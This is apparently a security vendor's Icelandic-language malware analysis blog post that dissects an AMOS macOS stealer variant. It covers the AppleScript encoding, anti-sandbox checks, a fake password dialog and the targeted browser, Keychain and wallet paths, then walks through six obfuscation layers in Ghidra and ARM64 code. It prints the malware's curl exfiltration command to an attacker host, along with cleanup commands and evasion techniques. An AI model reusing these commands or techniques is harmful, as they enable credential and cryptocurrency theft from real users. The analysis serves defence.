Anatómía á óþekktum AMOS Stealer: Frá alerti til ónæmis á klukkustundum

Áður óskráð afbrigði af AMOS stealer komst inn á macOS-endpoint. Engir þekktir hash-ar, engin C2-gögn í opnum gagnagrunnum. SOC-teymið okkar tók í sundur sex lög af obfuskun, dró út alla indicators og dreifði vörn til allra SOC-viðskiptavina á fáum klukkustundum, áður en iðnaðurinn hafði yfirhöfuð séð sample-ið.

Anatómía á óþekktum AMOS Stealer: Frá alerti til ónæmis á klukkustundum

Þegar alert kviknar í SOC-inu okkar byrjar klukkan að tifa, ekki bara fyrir viðkomandi viðskiptavin heldur fyrir öll fyrirtæki undir vernd okkar. Hættulegasta augnablikið í nútíma threat-umhverfi er intelligence gap-ið, tímaglugginn milli fyrstu notkunar á nýju malware-afbrigði og þess dags þegar iðnaðurinn heyrir af því.

Fyrir sjálfstæð security-teymi þýðir þetta gat mikinn viðkvæmleika: þú bíður eftir vendor-uppfærslu eða signature-feed sem enn hefur ekki verið skrifaður. Fyrir viðskiptavini okkar lokar Shared Threat Intelligence, sem við þróuðum innanhúss, nákvæmlega þessum glugga.

Þessi færsla er tæknileg sundurgreining á því hvernig við tókum í sundur áður óskráð afbrigði af AMOS (Atomic macOS Stealer) og hvernig einn kompromíseraður endpoint varð, á fáum klukkustundum, að þéttri greiningu og blokkun í öllum umhverfum viðskiptavina okkar.


{: #atvikid}

Alertið barst 12. mars 2026 klukkan 06:25 að staðartíma: macOS-endpoint hafði verið kompromíseraður. Þegar SOC-teymið okkar byrjaði að greina artifacts stóðum við frammi fyrir aðstæðum sem hver threat analyst óttast: engir þekktir file-hash-ar, engar C2-IP-tölur, engar marktækar behavior-signature í opnum gagnagrunnum.

Öll árásararkitektúrinn kom ekki fram fyrr en í djúpgreiningu. Sýkingin byggði á 15,7 MB macOS Universal Binary (x86_64 og ARM64), sett á /private/tmp/helper. Sample-ið var ekki beint aðgengilegt á kompromíseraða kerfinu; teymið okkar þurfti að endurgera sýkingarkeðjuna og herma upphaflegu delivery-fyrirspurnina til að ná binary-inu handvirkt úr innviðum árásaraðilans.


{: #stage-1-sandbox-athuganir}

Áður en sjálfur stealer-inn keyrði á tækinu hafði AppleScript-payload þegar keyrt. Hver strengur í honum, hver skráaslóð, hver shell-skipun, hver URL var kóðaður í gegnum þrjár sérsniðnar arithmetic-fúnksjónir:

on ipbgcjzgqa(a, b)
    -- result[i] = chr(a[i] - b[i])

on kwcvvjininv(a, b)
    -- result[i] = chr(a[i] + b[i])

on xqylheckjx(a, b, offset)
    -- result[i] = chr(a[i] - b[i] - offset)

Enginn einn strengur birtist í plaintext. Það sem virtist við fyrstu sýn vera merkingarlaus integer-arrays reyndist, eftir að kóðunarreglunum var snúið við, vera fullkomið og tilbúið framework fyrir gagnaþjófnað og exfiltration.

Við afkóðuðum hvern array í scriptinu statískt. Niðurstöðurnar voru skýrar:

Download URL: https[:]//woupp[.]com/n8n/update
Exfil server: http[:]//92[.]246[.]136[.]14/contact
Exfil method: curl --connect-timeout 120 --max-time 300 -X POST -F "file=@/tmp/out.zip"

Download-URL-ið stælir vísvitandi lögmæta n8n workflow automation uppfærslu, tól sem er útbreitt meðal þróunaraðila og DevOps-verkfræðinga. Það er ekki tilviljun: herferðin miðar á tæknilega færa notendur, ekki venjulega endanotendur sem setja upp krakkaðan hugbúnað.

Anti-sandbox check-ið

Fyrir download-ið keyrði scriptið sérstakan VM- og sandbox-detection routine. Úr atvika-artifacts gátum við auk þess endurbyggt sjálfstætt anti-sandbox script:

set urgufr  to do shell script "system_profiler SPMemoryDataType"
set qcsvjxp to do shell script "system_profiler SPHardwareDataType"

Niðurstöðurnar bar scriptið síðan saman við tvo lista. Sá fyrri leitaði að virtualization-merkingum í minnisgögnunum:

"QEMU"   "VMware"   "KVM"

Sá seinni bar hardware-auðkenni saman við lista yfir þekktar serial-tölur á greiningarvélum:

"Z31FHXYQ0J"     -- known sandbox machine serial
"C07T508TG1J2"   -- known sandbox machine serial
"C02TM2ZBHX87"   -- known sandbox machine serial
"Chip: Unknown"  -- emulation indicator
"Intel Core 2"   -- legacy/VM indicator

Við samsvörun: exit 100, full stöðvun. Á raunverulegri MacBook Pro með Apple Silicon fór allt hljóðlega í gegnum athuganirnar og keyrslan hélt áfram. Sandbox-evasion tækni á faglegu stigi sem rann af stað áður en eitt einasta byte af binary-inu var sótt.

Einfalt en áhrifaríkt: falsaða lykilorðabeiðnin

Afkóðaða scriptið innihélt einnig dialog fyrir privilege escalation í gegnum social engineering:

Title:   "Application wants to install helper"
Prompt:  "Required Application Helper. Please enter device
          password to continue."
Button:  "Continue"

Dialogurinn birtist í gegnum staðlað macOS display dialog-kall með with hidden answer og er sjónrænt ekki hægt að greina frá raunverulegri macOS authorization-beiðni. Innslegna lykilorðið notaði scriptið til að kalla login -pf <username> og lyfta ferlinu í root-réttindi, enn áður en binary-ið var keyrt.

Það sem scriptið safnaði

Um leið og binary-ið var í keyrslu hélt osascript sínum eigin söfnunarferli áfram og greip í hvern flokk viðkvæmra kerfisgagna. Við afkóðuðum allar söfnunarslóðir og markmið:

Browser-gögn (allir Chromium-browsers + Safari):

/Login Data          /Cookies            /Web Data
/Local Extension Settings/   /IndexedDB/   /Local Storage/leveldb/

macOS Keychain:

~/Library/Keychains/login.keychain-db  -- accessed directly via cat

Apple Notes

Fullt innihald flutt út sem HTML með teljara-header

Staðbundnar skrár

Skrifborð og Documents, allt að 30 MB, með áherslu á:

pdf  doc  docx  xls  xlsx  ppt  pptx  txt  rtf
key  p12  pem  cert  pfx  sql  db  sqlite
json  xml  yaml  conf  env  csv

Rafmyntaveski

Harðkóðaður listi með meira en 200 browser extension ID-um sem nær yfir öll algeng veski, þar á meðal MetaMask, Coinbase Wallet, TronLink, Phantom, Keplr, Yoroi, Ledger Live, Trezor Suite, XDEFI og Exodus.

Eftir söfnun voru öll gögn sett í handahófskennt nefnda tímabundna möppu og exfiltreruð:

ditto -c -k --sequesterRsrc <staging_dir> /tmp/out.zip
curl --connect-timeout 120 --max-time 300 -X POST \
  -H "user: <uuid>" -H "BuildID: <hw_profile>" \
  -F "file=@/tmp/out.zip" laislivon[.]com/contact

Hreinsun fylgdi strax á eftir:

rm -r <staging_dir>
rm /tmp/out.zip

{: #stage-2-binary-greining}

helper binary-ið er sá hluti þar sem þessi greining fer virkilega á dýptina. Um er að ræða faglega obfuskerað macOS-executable sem torveldar kerfisbundið statíska greiningu og olli mestu reverse-engineering vinnunni í þessari rannsókn.

Öll greiningin var unnin með Ghidra og sérsniðnu ARM64-greiningarferli okkar.

Eiginleikar skrárinnar

Eiginleiki Gildi
Format Mach-O Universal Binary
Architectures x86_64 (offset 0x1000) + ARM64 (offset 0x7ec000)
Size 15.7 MB
MD5 4599fdf2fa2099b30d8bbf76703dd634
SHA-1 3992edfb6f885ae5f09f3e69a2578048d6d5bb54
SHA-256 5664800f21d63e448b934bfcdc258b0c7dadb36e88cf4dd71b24e19656a2b78d

Það byrjar á undan main()

Það fyrsta sem við tókum eftir í Ghidra: þetta binary hegðar sér ekki eins og venjulegt executable. Raunverulegur entry point er ekki main(), heldur fúnksjón sem er skráð í __mod_init_func, macOS-vélbúnaði sem gefur dynamic linker-num (dyld) skipun um að keyra tilteknar fúnksjónir sjálfkrafa við hleðslu binary-ins, áður en nokkur nytsamur kóði keyrir.

Init-fúnksjónin á 0x10009f384 er hinn eiginlegi entry point malware-sins. Hér er Ghidra-decompileringin:

// FUN_10009f384 @ 0x10009f384
// __mod_init_func registered — executes before main()void FUN_10009f384(void) { int iVar1;

// Anti-sandbox delay: usleep(0x37e) = 894 microseconds iVar1 = _usleep(0x37e);

// Indirect jump table — 14-state machine// Defeats CFG reconstruction in static analysis tools (_(code _)((ulong)switchD_10009f43c::switchdataD_1000cd3fc * 4 + 0x10009f440))(iVar1); return; }

Tvennt stingur strax í augun. Í fyrsta lagi 894 míkrósekúndna usleep við ræsingu: anti-sandbox timing-merki. Alvarlegri er óbeina jump-taflan á 0x10009f43c. Það er reiknaður branch þar sem targetheimilisfangið er sótt á runtime úr lookup-töflu. Statísk greiningartól geta ekki endurbyggt control flow graph-inn; Ghidra skráði nokkrar „unreachable block" viðvaranir þegar við reyndum að rekja keyrsluslóðina. Þetta er þannig hugsað.

Jump-taflan drífur áfram 14-state keyrsluvél. Hvert ástand framkvæmir eitt stakt skref í dekryptings- og keyrslupipelínunni. State-teljarinn er uppfærður eftir hvert skref og vélin keyrir þar til öll ástönd hafa verið gengið í gegn.

ARM64-disassembly á state dispatcher-num

10009f3fc:  stp xzr,xzr,[sp, #0x48]
10009f41c:  mov w0,#0x37e
10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox
10009f424:  cmp w25,#0xd             ; state counter < 14?
10009f428:  b.hi 0x10009fd44         ; exit if done
10009f42c:  mov w8,w25               ; current state index
10009f430:  adr x9,0x10009f440       ; base of jump table
10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table
10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address
10009f43c:  br x9                    ; indirect branch, CFG broken here

Sex staflaðar obfuskun-lög

Binary-ið notar sex mismunandi obfuskun-lög, stafluð og hlekkjuð saman þannig að úttak hvers lags er sett inn í það næsta. Hver payload, hver strengur, hver innri fasti er kóðaður. Í __const-segment-inu birtist ekkert merkingarbært í plaintext. Það sem á eftir kemur er full lag-fyrir-lag sundurgreining, staðfest beint í Ghidra, alveg niður í einstakar ARM64-instructions. Hver notuð tækni er þekkt út af fyrir sig; hlekkjuð beiting þeirra yfir mörg stig skapaði þó þéttlega háða keyrsluflæði sem torveldaði mjög statíska og dýnamíska greiningu.


Layer 1: compile-time triplet-kóðun

Enginn strengur í binary-inu er geymdur sem stafarunning, heldur sem runa af 12-byte arithmetic triplets. Hvert triplet (a, b, shift) kóðar nákvæmlega eitt úttaksstaftáknið. Kóðunarreglunni er beitt á compile-time, þannig að enginn strengur er nokkru sinni til sem plaintext í binary-inu, ekki einu sinni tímabundið við hleðslu.

Tvær aðskildar decoder-fúnksjónir sinna ólíkum strengjastærðum. FUN_100087c08 á 0x100087c08 afkóðar 60-stafa strengi (720 byte af inntaksgögnum úr DAT_1006292cc). FUN_10007ad80 á 0x10007ad80 afkóðar 56-stafa strengi (672 byte úr DAT_10049708c). Báðar nota sama algorithminn.

// FUN_100087c08 @ 0x100087c08
// Triplet decoder, 60 chars, data from DAT_1006292ccvoid FUN_100087c08(long *param_1) { long *plVar1; void *pvVar2; long lVar3; uint *puVar4;

pvVar2 = operator_new(0x2d0); // allocate 720 bytes (60 triplets × 12)
_memcpy(pvVar2, &DAT_1006292cc, 0x2d0); // copy encoded triplets from __const
FUN_1000a0840(param_1, 0x3c, 0); // init 60-char output buffer lVar3 = 0; puVar4 = (uint _)((long)pvVar2 + 8); do { plVar1 = (long _)_param_1; if (-1 < _(char _)((long)param_1 + 0x17)) { plVar1 = param_1; } // THE DECODE FORMULA, one character per triplet:
// char = ((b _ 3) XOR a) >> shift) - b _(char _)((long)plVar1 + lVar3) = (char)((int)(puVar4-1 * 3 ^ puVar4-2) >> (*puVar4 & 0x1f)) - (char)puVar4-1; lVar3 = lVar3 + 1; puVar4 = puVar4 + 3; // advance 12 bytes — next triplet } while (lVar3 != 0x3c); // loop exactly 60 times
operator_delete(pvVar2); return; }

Samsvarandi ARM64-assembly, þar sem hver instruction samsvarar beint aðgerð í formúlunni:

100087c48:  add x9,x20,#0x8
100087c4c:  ldp w10,w11,[x9, #-0x8]   ; load a → w10,  b → w11
100087c50:  add w12,w11,w11, LSL #0x1 ; w12 = b + (b << 1) = b * 3
                                       ; (compiler avoids MUL instruction)
100087c54:  eor w10,w12,w10           ; w10 = (b*3) XOR a
100087c58:  ldr w12,[x9], #0xc        ; w12 = shift value; post-increment by 12
100087c5c:  asr w10,w10,w12           ; arithmetic right shift — sign bit preserved
100087c60:  sub w10,w10,w11           ; subtract b — final decoded character
100087c74:  strb w10,[x11, x8, LSL ]  ; store one byte to output buffer
100087c78:  add x8,x8,#0x1
100087c7c:  cmp x8,#0x3c              ; loop counter vs. 60
100087c80:  b.ne 0x100087c4c          ; continue until all 60 chars decoded

Athyglisvert: margföldun b × 3 er útfærð sem add w12, w11, w11, LSL #1, shift-and-add sem forðast alveg margföldunar-instruction. Þetta er sígild compiler-optimization sem gerir kóðann samtímis erfiðari að finna með signature matching.

Fulla afkóðunarformúlan:

char = ASR( (b × 3) XOR a, shift ) − b

ASR (arithmetic shift right) er lykilatriði: hann varðveitir sign bit-ið. Ef millistigsniðurstaða úr (b×3) XOR a er neikvæð, sem gerist oft, myndi logical shift skila allt annarri niðurstöðu. Þetta er meðvitað: sá sem endurgerir formúluna í hærra forritunarmáli með >> fær hljóðlaust rangar úttakstölur ef signed arithmetic er ekki tekin sérstaklega með í reikninginn.

56-stafa afbrigðið FUN_10007ad80 er byggingarlega eins, vinnur á DAT_10049708c með loop-límiti upp á 0x38. Báðar fúnksjónirnar voru staðfestar í Ghidra við þessa greiningu.


Layer 2: hex-strengja kóðun

Hráu byte-in sem Layer 1 gefur af sér eru sjálf ASCII-hex-stafir, ekki binary-gögn. Úttak úr Layer 1 triplet-decode er strengur af hex-pörum: 32694e5462.... Þetta er staðfest af decoder-fúnksjónnini FUN_100000dc0 á 0x100000dc0, sem útfærir hex-decode gegnum lookup-töflu á DAT_1007bb591.

Ghidra-decompile-ið sýnir switch-setningu sem varpar hverjum hex-stafi (0x30-0x39, 0x41-0x46, 0x61-0x66) á nibble-gildi sitt og setur saman úttaks-byte tvo stafi í einu:

// FUN_100000dc0 @ 0x100000dc0// Hex decoder, processes input two characters per output byteswitch(*(undefined1 *)((long)plVar2 + lVar7)) { case 0x30: break; // '0' → 0x00 case 0x31: bVar9 = 0x10; break; // '1' → 0x10 case 0x32: bVar9 = 0x20; break; // '2' → 0x20 // ... '3' through '9' ... case 0x41: case 0x61: bVar9 = 0xa0; break; // 'A'/'a' → 0xa0 case 0x42: case 0x62: bVar9 = 0xb0; break; // 'B'/'b' → 0xb0 case 0x43: case 99: bVar9 = 0xc0; break; // 'C'/'c' → 0xc0 case 0x44: case 100: bVar9 = 0xd0; break; // 'D'/'d' → 0xd0 case 0x45: case 0x65: bVar9 = 0xe0; break; // 'E'/'e' → 0xe0 case 0x46: case 0x66: bVar9 = 0xf0; break; // 'F'/'f' → 0xf0 } // Second nibble from lookup table at DAT_1007bb591 *(byte *)((long)pppppppuVar3 + uVar8) = (&DAT_1007bb591)[(ulong)uVar4 & 0xff] | bVar9;

ARM64-assembly-ið drífur þetta áfram með aukalegri computed branch-töflu og útfærir í raun 55-færslu jump-töflu fyrir switchinn:

100000e5c:  adr x17,0x100000e6c      ; base of case-dispatch table
100000e60:  ldrb w0,[x12, x16, LSL ] ; load offset for this hex char
100000e64:  add x17,x17,x0, LSL #0x2 ; compute dispatch address
100000e68:  br x17                   ; jump — second computed branch in 24 bytes

Tveir computed branches innan 24-byte glugga. Statísk greiningartól ráða ekki við þetta mynstur vegna þess að bæði branch targets eru óþekkt á greiningartíma.

137.208-stafa hex-strengur skilar eftir afkóðun 68.604 byte-um, sem síðan fara inn í Layer 3.


Layer 3: sérsniðinn 16-tákna nibble-alphabet

68.604 úttaks-byte-in úr Layer 2 nota aðeins 16 einstök byte-gildi úr tveimur ósamhengjum ASCII-sviðum:

  • 0x20-0x2F: bil, !, ", #, $, %, &, ', (, ), *, +, ,, -, ., /
  • 0x78-0x7F: x, y, z, {, |, }, ~, DEL

Þetta er meðvituð hönnunarákvörðun. Í hex-editor líta þessi byte út eins og bil, greinarmerki og ASCII-jaðartákn; þau renna saman við hávaðann af því sem virkar eins og metadata eða padding. Analyst sem rennir yfir hex-dump merkir ekki þessi byte-svið sem grunsamleg og staðlaðar entropy-greiningar vanmeta virka entropy-una því byte-dreifingin virðist ekki tilviljanakennd.

Hvert byte úr þessu alphabet-i kóðar eitt nibble af sjálfum payload-num. Alphabet-til-nibble vörpuninni er beitt af encode/decode-fúnksjónnini FUN_100000d60, sem við staðfestum á 0x100000d60. Hún tengir tvær sub-fúnksjónir: FUN_100000b50 býr til indexerað map af stöfum inntaksstrengsins, og FUN_100000c34 fer í gegnum þetta map, notar 6 bit í hverju skrefi og safnar úttaks-byte-um 8 bit í einu:

// FUN_100000c34 @ 0x100000c34, nibble accumulator iVar5 = 0; do { local_52 = *(undefined1 *)puVar4; lVar3 = FUN_1000a078c(param_3, &local_52); // look up nibble value if (lVar3 == 0) { // character not in alphabet, treat as raw FUN_1000a078c(param_3, &local_51); } else { iVar5 = iVar5 + 4; // accumulate 4 bits while (7 < iVar5) { std::string::push_back((char)param_1); // emit byte when 8+ bits ready iVar5 = iVar5 + -8; } } puVar4 = (undefined8 *)((long)puVar4 + 1); } while (puVar4 != puVar1);

34.302 byte-in sem koma úr þessum umgangi eru 99,7% prentanlegt ASCII. Við fyrsta yfirlit lítur payload-inn á þessu stigi út eins og stórt shell-script eða configuration-blob.


Layer 4: compile-time strengja-obfuskun

Strengir sem eru notaðir innanhúss eru obfuskeraðir á compile-time með sömu triplet-reglu og Layer 1 og endurbyggðir á runtime rétt fyrir notkun. Í minni eru þeir aldrei lengur en nauðsynlegt er; buffer-inn er strax losaður eftir neyslu. Í statísku data-hluta binary-ins er afkóðaður strengur aldrei sjáanlegur.

Strengja-hash fúnksjónin FUN_100000730 bætir við aukalag af obfuskun fyrir strengja-samanburð. Í stað þess að bera strengi beint saman, sem myndi skilja eftir plaintext í minni, reiknar binary-ið og ber saman integer-hash:

// FUN_100000730 @ 0x100000730// FNV-style string hash, avoids plaintext string comparisonsint FUN_100000730(char *param_1) { int iVar4 = 0x19a8; // FNV offset basis (modified) // ... for (; uVar3 != 0; uVar3 = uVar3 - 1) { iVar4 = (int)*pcVar1 + iVar4 * -0x7fb91be3; // FNV-1a style multiply pcVar1 = pcVar1 + 1; } return iVar4; }

ARM64-assembly-ið skiptir margfölduninni út fyrir fused multiply-add:

100000744:  mov w0,#0x19a8            ; FNV basis
100000750:  mov w10,#0xe41d
100000754:  movk w10,#0x8046, LSL #16 ; constant = 0x8046e41d = -0x7fb91be3
100000758:  ldrsb w11,[x8], #0x1      ; load char, post-increment
10000075c:  madd w0,w0,w10,w11        ; w0 = w0 * 0x8046e41d + char
100000760:  subs x9,x9,#0x1
100000764:  b.ne 0x100000758

Þetta þýðir að jafnvel samanburður á tveimur strengjum innan binary-ins skapar ekki branch sem debugger getur gripið hreint á strengja-plani, aðeins á hash-plani.


Layer 5: tvöfaldar custom stream cipher instances

Á þessum stað verður obfuskun-arkitektúrinn óvenjulegur. Í binary-inu keyra ekki ein heldur tvær aðskildar cipher-instances, hver með sína harðkóðuðu lookup-töflu og sinn upphafsteljara. Báðar nota sömu algorithm-uppbyggingu en framleiða ólíkar úttaks-alphabet-ar fyrir ólíka hluta payload-pipelínunnar.

Instance A, FUN_10007ab34 á 0x10007ab34:

// Instance A, start counter 0x4c, table @ 0x100496f8b uVar6 = 0x4c; do { bVar2 = *(byte *)((long)local_e0 + ((ulong)(*(byte *)((long)local_c8 + uVar5) ^ uVar6) & 0xff)); *(byte *)((long)plVar1 + uVar5) = bVar2; uVar6 = (int)uVar5 + (uVar6 ^ bVar2); // counter: i + (counter XOR output) uVar5 = uVar5 + 1; } while (uVar7 != uVar5);

Instance B, FUN_10007a7e0 á 0x10007a7e0:

// Instance B, start counter 0x9f, different table @ 0x100496e0a region uVar6 = 0x9f; do { bVar2 = *(byte *)((long)local_c0 + ((ulong)(*(byte *)((long)local_a8 + uVar5) ^ uVar6) & 0xff)); *(byte *)((long)plVar1 + uVar5) = bVar2; uVar6 = (int)uVar5 + (uVar6 ^ bVar2); // identical counter update formula uVar5 = uVar5 + 1; } while (uVar7 != uVar5);

Algorithminn er byggingarlega eins, en upphafsteljarinn er ólíkur (0x4c á móti 0x9f) og lookup-töflurnar liggja á mismunandi minnisheimilisföngum. Instance A er kölluð úr state 11 í state-vélinni til að framleiða kóðunar-alphabet-ið fyrir fyrstu payload-slóðina. Instance B er kölluð úr state 6 til að framleiða alphabet-ið fyrir decode á stóra shell-script payload-num.

Nánar tiltekið: um er að ræða substitution cipher með counter-háðum index. Hvert úttaks-byte er tafla-lookup þar sem indexinn er (input_byte XOR counter) & 0xFF. Teljarinn uppfærist eftir hvert byte sem counter = (i + (counter XOR output)) & 0xFF, sem þýðir að hvert úttaks-byte hefur áhrif á ákvörðun næsta lookup-index. Það skapar háðnikeðju yfir alla úttaksruna: ekki er hægt að decrypt-a byte N nema hafa decrypt-að byte 0 til N-1 rétt. Partial dekryption eða villugreining verður þar með miklu erfiðari.

Hvorug instance-in er staðlað RC4. Það er engin S-box initialization-fasi, engin S-box swap-aðgerð. Lookup-töflurnar eru statískar, compile-time embedded konstantur.


Layer 6: runtime XOR með exit-code-háðum lykli

Síðasta og greiningarlega krefjandi lagið beitir in-place XOR-umbreytingu á Stage-2 payload-inn. XOR-lykillinn er ekki harðkóðaður heldur leiddur á runtime út frá exit-code fyrstu shell-payload keyrslunnar, og þar með í grundvallaratriðum ekki hægt að ákvarða með statískri greiningu. Binary-ið verður raunverulega að keyra og fyrsta shell-scriptið að klára að keyra áður en lykillinn er yfirhöfuð til.

Lykilleiðingar-runan í ARM64 state machine dispatcher-num:

; After shell_exec_via_pipe #1 returns, exit code is in w0
10009f838:  ubfx w8,w0,#0x8,#0x8     ; extract bits [15:8] of exit status
10009f83c:  mov w9,#0x7f0             ; multiplier constant
10009f840:  madd w8,w8,w9,w26         ; key = (exit_byte × 0x7f0) + base_counter
10009f844:  and w24,w8,#0xffff        ; mask to 16-bit key → stored in w24

XOR-loopurinn sem vinnur Stage-2 payload-inn:

; In-place XOR, every byte of the payload is XORed with w24
10009fc34:  ldrb w10,[x8, x9, LSL ]  ; load payload byte
10009fc48:  eor w10,w10,w24          ; XOR with key
10009fc4c:  strb w10,[x8, x9, LSL ]  ; write decrypted byte in place

Lykillinn er 16-bita gildi sem er leiddur út frá exit status byte fyrsta shell-payload-sins, margfaldað með 0x7f0 og bætt við núverandi gildi grunn-teljarasérgeymslunnar w26 í state-vélinni. Margföldunarfastinn 0x7f0 veldur því að einn-bita munur á exit-code framleiðir alveg annan lykil. Það er engin nýtanleg samfella milli nálægra lykilgilda.

Án þess að keyra binary-ið í stýrðu umhverfi og skrá nákvæmt exit-code fyrsta shell-payload-sins er Stage-2 payload-inn varanlega ógegnsær fyrir statíska greiningu. Þetta var erfiðasta hindrunin í allri greiningunni.


Shell-keyrsla: pipes í stað argumenta, og SIMD-XOR

Shell-keyrslufúnksjónin FUN_10000091c á 0x10000091c er arkitektúrlega áhugaverðasti hluti binary-ins. Hér kemur allt saman: afkóðaði payload-inn, obfuskerað skipunarheiti og skýr anti-forensics hönnun. Hver hönnunarákvörðun í þessari fúnksjón þjónar tilteknum evasion-tilgangi.

Skref 1: skipunarheitið birtist aldrei í plaintext

/bin/zsh er hvergi til í binary-inu sem plaintext. Í __cstring-hluta á 0x1007bb5c8 liggur strengurinn sem obfuskeruð byte \x01LG@\x01T]F. Afkóðunin fer fram á runtime gegnum eina XOR-aðgerð, staðfestanlega beint í ARM64-assembly:

; FUN_10000091c — command name decode via SIMD XOR
100000960:  adrp x8,0x1007bb000
100000964:  add x8,x8,#0x5c8          ; x8 → "\x01LG@\x01T]F" in __cstring
100000968:  ldr x8,[x8]               ; load 8 obfuscated bytes as uint64
10000096c:  str x8,[sp, #0x20]
100000970:  strb wzr,[sp, #0x28]      ; null terminator

100000974:  ldr d0,[sp, #0x20]        ; load into SIMD register d0
100000978:  movi v1.8B,#0x2e          ; broadcast 0x2e to all 8 lanes of v1
10000097c:  eor v0.8B,v0.8B,v1.8B    ; XOR all 8 bytes simultaneously
100000980:  str d0,[sp, #0x20]        ; store decoded "/bin/zsh"

100000988:  mov w8,#0x732d            ; 0x732d = "-s" (little-endian)
10000098c:  strh w8,[sp, #0x4]        ; store argument string

XOR-lykillinn er 0x2e, ASCII-gildið fyrir . (punkt). Afkóðunin gerist í einni eor v0.8B, v0.8B, v1.8B instruction, ARM64-NEON vektor-skipun sem XOR-ar öll 8 byte-in samtímis. Að nota SIMD-instruction fyrir einfaldan 8-byte decode er óvenjulegt og hefur tvenn áhrif: hraðar en byte-fyrir-byte loop, og instruction-mynstrið sem myndast er í grundvallaratriðum ólíkt skalar-decode-loopum sem signature matching-tól eru þjálfuð á.

Staðfestingin er einföld: 0x01 XOR 0x2e = 0x2f = /, 0x4c XOR 0x2e = 0x62 = b, 0x47 XOR 0x2e = 0x69 = i, 0x40 XOR 0x2e = 0x6e = n, sem gefur /bin í fyrstu fjórum byte-unum.

Skref 2: pipe-arkitektúrinn

Eftir afkóðun skipunarheitsins býr fúnksjónin til OS-pipe og forkar:

100000990:  bl 0x1000a0f6c    ; _fork()
100000994:  mov x20,x0        ; save PID
100000998:  cbz w0,0x100000b00 ; if child: jump to exec path

Í child-ferlinu:

; Child process path
100000b0c:  mov w1,#0x0
100000b10:  bl 0x1000a0f48    ; _dup2(pipe_read_fd, STDIN=0)
; pipe read-end is now stdin, shell reads from pipe
100000b2c:  add x0,sp,#0x20   ; argv[0] = "/bin/zsh"
100000b30:  add x1,sp,#0x8    ; argv array
100000b34:  bl 0x1000a0f60    ; _execvp("/bin/zsh", ["/bin/zsh", "-s", NULL])

Child-ferlið skiptir sínum staðlaða input út fyrir lesenda pipe-sins og ræsir /bin/zsh -s. Í -s-ham les shell-ið skipanir úr stdin. Fyrir process-monitoring tól birtist þetta ferli sem /bin/zsh -s án argumenta, ógreinanlegt frá lögmætri interaktífri shell-session.

Skref 3: chunk-writes af breytilegri stærð

Parent-ferlið skrifar afkóðaða payload-inn í meðvitað breytilegum chunk-stærðum á skrifenda pipe-sins:

; Parent: compute chunk size then write
1000009d4:  umulh x8,x23,x24       ; high-half multiply for modulo
1000009d8:  lsr x8,x8,#0x7
1000009dc:  msub x8,x8,x25,x23     ; x8 = length % 0xc0
1000009e0:  add x8,x8,#0x40        ; chunk = (length % 192) + 64
                                    ; range: 64 to 255 bytes per write
1000009e4:  cmp x8,x23             ; clamp to remaining length
1000009e8:  csel x2,x8,x23,cc

1000009ec:  ldr w0,[sp, #0x34]     ; pipe write fd
1000009f0:  mov x1,x21             ; payload pointer
1000009f4:  bl 0x1000a0fc0         ; _write(fd, buf, chunk_size)

100000a04:  mov w0,#0x1
100000a08:  bl 0x1000a0fa8         ; _usleep(1), 1µs between chunks
100000a0c:  add x21,x21,x22        ; advance pointer
100000a10:  sub x23,x23,x22        ; reduce remaining count
100000a14:  cbnz x23,0x1000009d4   ; loop until done

Chunk-stærðarformúlan (remaining_length % 192) + 64 framleiðir gildi milli 64 og 255 byte per write-kall, allt eftir eftirstæðri payload-lengd. Breytilega write-mynstrið er sýnilegt í kernel event tracing-tólum á borð við ktrace eða dtrace, en framleiðir ekki þekkjanlega fasta-stærðar signature. Hver keyrsla á sama payload framleiðir aðra runu af write()-syscall stærðum.

1-míkrósekúndna usleep milli chunk-anna hefur annan tilgang: það gefur CPU-inn lausan milli skrifa, heldur CPU-nýtingu flatri og forðast skyndilegan topp sem behavior-based EDR-regla gæti merkt sem óeðlilegt burst-I/O.

Skref 4: tafarlaus minnishreinsun

; After all chunks written and pipe closed:
100000a20:  ldrb w8,[x19, #0x17]   ; check string storage type
100000a24:  sxtb w9,w8
100000a28:  ldp x10,x11,[x19]
100000a30:  csel x0,x10,x19,lt     ; pointer to payload buffer
100000a34:  csel x1,x11,x8,lt      ; length of buffer
100000a38:  bl 0x1000a0f30         ; _bzero(payload_buf, length)

_bzero()-kallið núllstillir allan afkóðaða payload-buffer-inn beint eftir síðustu skrif í pipe-inn. Enginn tímagluggi, ekki einu sinni míkrósekúnda, þar sem afkóðaði payload-inn liggur enn í minni eftir að keyrslunni lýkur. Lifandi memory dump sem tekið er strax eftir að þessari fúnksjón lýkur finnur aðeins núll þar sem payload-inn var.

Þetta kallast zero-after-use, sama tækni og háöryggis-cryptography libraries nota til að tryggja að lykilefni verði ekki eftir í minni. Að þessi tækni komi fram í commodity malware er óvenjulegt og bendir til þróunaraðila með security engineering bakgrunn.

Full keyrsluruna:

__cstring:  "\x01LG@\x01T]F"   (7 bytes, obfuscated)
    ↓  SIMD XOR with 0x2e (8-wide vector)
stack:      "/bin/zsh\0"         (decoded in-place, stack only)
    ↓  _pipe() creates fd pair [read=local_60, write=local_5c]
    ↓  _fork()
    │
    ├─ CHILD:  _dup2(local_60, 0)   stdin = pipe read end
    │          _execvp("/bin/zsh", ["/bin/zsh", "-s", NULL])
    │          → /bin/zsh reads commands from stdin (= pipe)
    │
    └─ PARENT: loop: _write(local_5c, payload, variable_chunk)
                     _usleep(1)
               _close(local_5c)    close write end → EOF to shell
               _bzero(payload, len) ← WIPE IMMEDIATELY
               _waitpid(child, ...)

Import-taflan sem vopn

Full import-tafla þessa binary-s:

// C runtime / memory
_memcpy       _memmove      _memset       _bzero

// Process execution
_fork         _execvp       _execl        __exit

// IPC / pipes
_pipe         _dup2         _close        _write

// Synchronisation
_waitpid      _usleep

// Stack protection
___stack_chk_fail    ___stack_chk_guard

// C++ runtime
operator.new    operator.delete    __Unwind_Resume
___cxa_allocate_exception    ___cxa_throw    ___cxa_begin_catch
___cxa_end_catch    ___cxa_free_exception    ___gxx_personality_v0
terminate    logic_error    bad_array_new_length    __next_prime

// STL containers
append    reserve    push_back    operator=

// Dynamic linking
dyld_stub_binder

Samtals 27 symbol. Það sem vantar er að minnsta kosti jafn upplýsandi og það sem er til staðar.

Fjarverandi: net

socket      connect     bind        listen
accept      send        recv        sendto
recvfrom    getaddrinfo gethostbyname

Fjarverandi: skráakerfi

open        read        fopen       fread
fwrite      fclose      stat        unlink
